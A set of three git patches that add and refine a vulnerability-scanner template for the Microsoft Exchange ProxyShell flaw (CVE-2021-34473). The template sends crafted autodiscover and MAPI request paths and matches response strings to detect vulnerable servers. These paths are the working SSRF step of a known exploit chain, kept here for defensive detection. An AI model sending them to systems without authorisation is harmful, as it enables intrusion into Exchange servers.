From 99d41391e72aa8c9b51c47edb60dfeb1f015aa55 Mon Sep 17 00:00:00 2001
From: Paul Werther <pw@evait.de>
Date: Tue, 10 Aug 2021 09:59:06 +0200
Subject: [PATCH 1/3] add ProxyShell detection template

---
 cves/2021/CVE-2021-34473.yaml | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)
 create mode 100644 cves/2021/CVE-2021-34473.yaml

diff --git a/cves/2021/CVE-2021-34473.yaml b/cves/2021/CVE-2021-34473.yaml
new file mode 100644
index 0000000000..8f5ed21b88
--- /dev/null
+++ b/cves/2021/CVE-2021-34473.yaml
@@ -0,0 +1,23 @@
+id: CVE-2021-34473
+
+info:
+  name: Exchange Server SSRF (ProxyShell)
+  author: arcc
+  severity: critical
+  description: |
+    Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-31196, CVE-2021-31206.
+  reference: |
+        - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473
+        - https://www.youtube.com/watch?v=FC6iHw258RI
+        - https://portswigger.net/daily-swig/a-whole-new-attack-surface-researcher-orange-tsai-documents-proxylogon-exploits-against-microsoft-exchange-server
+  tags: cve,cve2021,ssrf,rce,exchange
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com"
+
+    matchers:
+      - type: status
+        status:
+          - 302
\ No newline at end of file

From ff558bd94edafedd7043ab42906c6035be3aa757 Mon Sep 17 00:00:00 2001
From: Paul Werther <pw@evait.de>
Date: Tue, 10 Aug 2021 10:17:37 +0200
Subject: [PATCH 2/3] add second url for more stable detection

---
 cves/2021/CVE-2021-34473.yaml | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/cves/2021/CVE-2021-34473.yaml b/cves/2021/CVE-2021-34473.yaml
index 8f5ed21b88..c7bc47bedc 100644
--- a/cves/2021/CVE-2021-34473.yaml
+++ b/cves/2021/CVE-2021-34473.yaml
@@ -15,7 +15,8 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com"
+      - '{{BaseURL}}/autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com'
+      - '{{BaseURL}}/mapi/nspi/?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com'
 
     matchers:
       - type: status

From 36e43b66ec0e438afa56ec4638e7e06d2491b118 Mon Sep 17 00:00:00 2001
From: Paul Werther <pw@evait.de>
Date: Tue, 10 Aug 2021 10:53:58 +0200
Subject: [PATCH 3/3] follow redirect, compare body instead of status code,
 eliminate false positives

---
 cves/2021/CVE-2021-34473.yaml | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/cves/2021/CVE-2021-34473.yaml b/cves/2021/CVE-2021-34473.yaml
index c7bc47bedc..d68b694bb0 100644
--- a/cves/2021/CVE-2021-34473.yaml
+++ b/cves/2021/CVE-2021-34473.yaml
@@ -14,11 +14,14 @@ info:
 
 requests:
   - method: GET
+    redirects: true
     path:
       - '{{BaseURL}}/autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com'
-      - '{{BaseURL}}/mapi/nspi/?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com'
+      - '{{BaseURL}}/autodiscover/autodiscover.json?@test.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3F@test.com'
 
     matchers:
-      - type: status
-        status:
-          - 302
\ No newline at end of file
+      - type: word
+        part: body
+        words:
+          - Microsoft.Exchange.Clients.Owa2.Server.Core.OwaADUserNotFoundException
+          - Exchange MAPI/HTTP Connectivity Endpoint
\ No newline at end of file